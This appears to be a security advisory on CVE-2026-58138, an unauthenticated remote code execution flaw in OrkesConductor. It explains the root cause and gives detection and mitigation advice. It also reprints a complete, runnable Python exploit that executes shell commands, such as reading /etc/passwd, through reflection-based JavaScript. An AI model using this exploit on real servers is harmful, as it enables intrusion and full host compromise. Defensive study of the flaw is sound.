Skip to content

CVE-2026-58138: Critical OrkesConductor Unauthenticated RCE

Executive Summary

A severe unauthenticated remote code execution (RCE) vulnerability, identified as CVE-2026-58138, affects OrkesConductor, an open-source workflow orchestration platform. This critical flaw permits remote attackers to execute arbitrary operating system commands on the server without any authentication. The vulnerability stems from the improper handling of INLINE JavaScript tasks, which can abuse unsandboxed GraalVM evaluators configured with HostAccess.ALL to leverage Java reflection and Runtime.exec. A public Proof-of-Concept (PoC) exploit is available, underscoring the urgency for immediate patching to prevent full system compromise.

Vulnerability Details

  • CVE ID: CVE-2026-58138
  • CWE:
    • CWE-94: Improper Control of Generation of Code ('Code Injection')
    • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CVSS Vector: CVSSv3.1 Score: 9.8 (Critical)
  • Affected Versions: Orkes Conductor / Conductor OSS versions 3.21.21 before 3.30.2.
  • Patched Versions: Orkes Conductor 3.30.2 and later.

OrkesConductor is a widely adopted cloud-native orchestration engine. The presence of an unauthenticated RCE vulnerability in such a platform means that any internet-exposed instance running an affected version is at immediate and severe risk of complete compromise, allowing attackers to take control of the underlying host system.

Technical Root Cause Analysis

CVE-2026-58138 is an unauthenticated remote code execution vulnerability rooted in the way OrkesConductor processes INLINE JavaScript tasks. The platform allows users to define workflows that can include tasks executed via scripting languages, particularly JavaScript, leveraging GraalVM's JavaScript engine.

The core problem arises when GraalVM evaluators are configured without proper sandboxing, specifically when HostAccess.ALL (or allowAllAccess(true)) is enabled. This configuration grants the JavaScript engine full access to Java host objects and methods, including sensitive classes like java.lang.Runtime and java.lang.reflect.Method.

An unauthenticated attacker can submit a crafted workflow definition (via the workflow API endpoint) containing an INLINE JavaScript task. This malicious JavaScript, when executed by the unsandboxed GraalVM engine, can then:

  1. Abuse Java Reflection: Use Java reflection to gain access to critical Java classes and methods, even if they are not directly exposed.
  2. Invoke Runtime.exec(): Instantiate java.lang.Runtime and call its exec() method to execute arbitrary operating system commands on the host where OrkesConductor is running.

Since the workflow API endpoint can be accessed without authentication in default configurations, an attacker can directly register and trigger a malicious workflow, leading to immediate command execution. The commands typically run with the privileges of the Conductor service account, which in containerized environments (like Docker deployments, which are common for Conductor) often includes root privileges, leading to complete system takeover.

Proof-of-Concept

The following Python PoC, provided by the original researcher and found on Exploit-DB/GitHub, demonstrates how to exploit CVE-2026-58138 to achieve unauthenticated remote code execution.

#!/usr/bin/env python3
# Exploit Title:        OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution
# CVE:                  CVE-2026-58138
# Date:                 2026-07-10
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://orkes.io/
# Software Link:        https://github.com/conductor-oss/conductor
# Affected:             Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2
# Tested on:            conductoross/conductor:3.22.3
# Category:             Remote Code Execution
# Platform:             Linux
# Exploit Type:         Unauthenticated RCE
# CVSS:                 9.8
# Description:          Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec.
# Fixed in:             3.30.2
# Usage:
#   python3 exploit.py <target> [-c CMD]
#
# Examples:
#   python3 exploit.py http://127.0.0.1:8080
#   python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd"
#
# Options:
#   target          Conductor API base URL (e.g. http://127.0.0.1:8080)
#   -c, --cmd       Command to execute (default: id; hostname)
#
# Notes:
#   • Requires no authentication (default community API behavior).
#   • Runs as the Conductor process user (often root in Docker).
#   • Pure Python stdlib - no extra dependencies.

import argparse
import json
import sys
import time
import urllib.request

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def js_rce(cmd):
    c = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "var k=$.getClass().getClass();"
        "var S=k.getMethod('getName').getReturnType();"
        "var forName=k.getMethod('forName',S);"
        "var L=function(n){return forName.invoke(null,[n]);};"
        "var RT=L('java.lang.Runtime');"
        "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
        "var I=L('java.lang.Integer').getField('TYPE').get(null);"
        "var A=L('java.lang.reflect.Array');"
        "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
        "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
        f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
        "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
        "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
        "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
        "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
    )

def call(base, path, data=None, method=None):
    url = base.rstrip("/") + path
    body = json.dumps(data).encode() if data is not None else None
    req = urllib.request.Request(
        url,
        data=body,
        method=method or ("POST" if data is not None else "GET"),
        headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"}
    )
    with urllib.request.urlopen(req, timeout=30) as r:
        raw = r.read().decode()
        try:
            return r.status, json.loads(raw)
        except Exception:
            return r.status, raw

def main():
    banner()
    ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE")
    ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host")
    args = ap.parse_args()

    wf = "pwn_" + str(int(time.time()))
    wfdef = {
        "name": wf,
        "version": 1,
        "schemaVersion": 2,
        "ownerEmail": "poc@example.com",
        "tasks": [{\
            "name": "pwn",\
            "taskReferenceName": "pwn",\
            "type": "INLINE",\
            "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)},\
        }],
    }

    print(f"[*] Target: {args.target}  cmd={args.cmd!r}")
    print("[*] Registering workflow with malicious INLINE task ... (no auth)")

    call(args.target, "/api/metadata/workflow", wfdef)
    st, wid = call(args.target, f"/api/workflow/{wf}", {})
    wid = wid if isinstance(wid, str) else str(wid)

    print(f"[*] Started workflow id={wid}; fetching output ...")
    time.sleep(2)

    st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true")

    out = None
    for t in (info.get("tasks") or []):
        if t.get("taskType") == "INLINE":
            out = (t.get("outputData") or {}).get("result")

    if out:
        print("\n[+] RCE SUCCESS - Command output:")
        print(str(out).strip())
    else:
        print("[!] No output captured. Workflow status:", info.get("status"))

if __name__ == "__main__":
    sys.exit(main() or 0)

Detection & Hunting

To detect exploitation attempts and post-exploitation activities related to CVE-2026-58138, organizations should focus on:

  • API/Application Logs:
    • Monitor OrkesConductor API logs for unauthenticated requests to workflow definition endpoints (e.g., /api/metadata/workflow).
    • Look for workflow definitions containing INLINE tasks with evaluatorType: javascript and suspicious expressions that might leverage Java reflection ($.getClass(), getMethod(), invoke()) or Runtime.exec() calls.
    • Alert on rapid creation and execution of new, unfamiliar workflows, especially from unauthenticated or untrusted sources.
  • Host-Level Monitoring (EDR/System Logs):
    • Monitor the host system running OrkesConductor for unusual process creation, particularly shell processes (sh, bash, cmd.exe) spawned by the Conductor application process.
    • Look for unexpected outbound network connections from the Conductor host, which could indicate C2 communication.
    • Detect unauthorized file modifications or privilege escalation attempts.
  • Network Intrusion Detection/Prevention Systems (NIDS/NIPS):
    • Implement WAF rules to detect and block requests to the Conductor API that contain known malicious JavaScript payloads or patterns indicative of Runtime.exec() invocation.
    • Monitor for network traffic patterns indicative of command execution or data exfiltration from the Conductor server.

Mitigation & Remediation

Immediate action is crucial to address CVE-2026-58138:

  1. Update Immediately: Upgrade OrkesConductor to version 3.30.2 or later. This patch directly addresses the vulnerability by properly sandboxing the GraalVM evaluator.
  2. Sandbox GraalVM Evaluators: If immediate patching is not feasible, ensure that GraalVM evaluators used within OrkesConductor are properly sandboxed. Specifically, avoid configuring HostAccess.ALL or allowAllAccess(true) in production environments, which grants excessive permissions to the JavaScript engine.
  3. Authentication and Authorization: Implement strong authentication and authorization for all OrkesConductor API endpoints. Restrict access to workflow definition and execution APIs to authorized users only.
  4. Network Segmentation: Isolate the OrkesConductor instance within a well-segmented network. Limit direct exposure to the internet and ensure that only trusted systems can communicate with its API endpoints.
  5. Least Privilege: Run the OrkesConductor service with the least necessary privileges. In containerized deployments, use non-root users and apply strict security contexts.
  6. Regular Backups: Maintain regular, verified backups of your OrkesConductor configuration and data to enable recovery in the event of a compromise.

References

Comments (0)

Loading comments...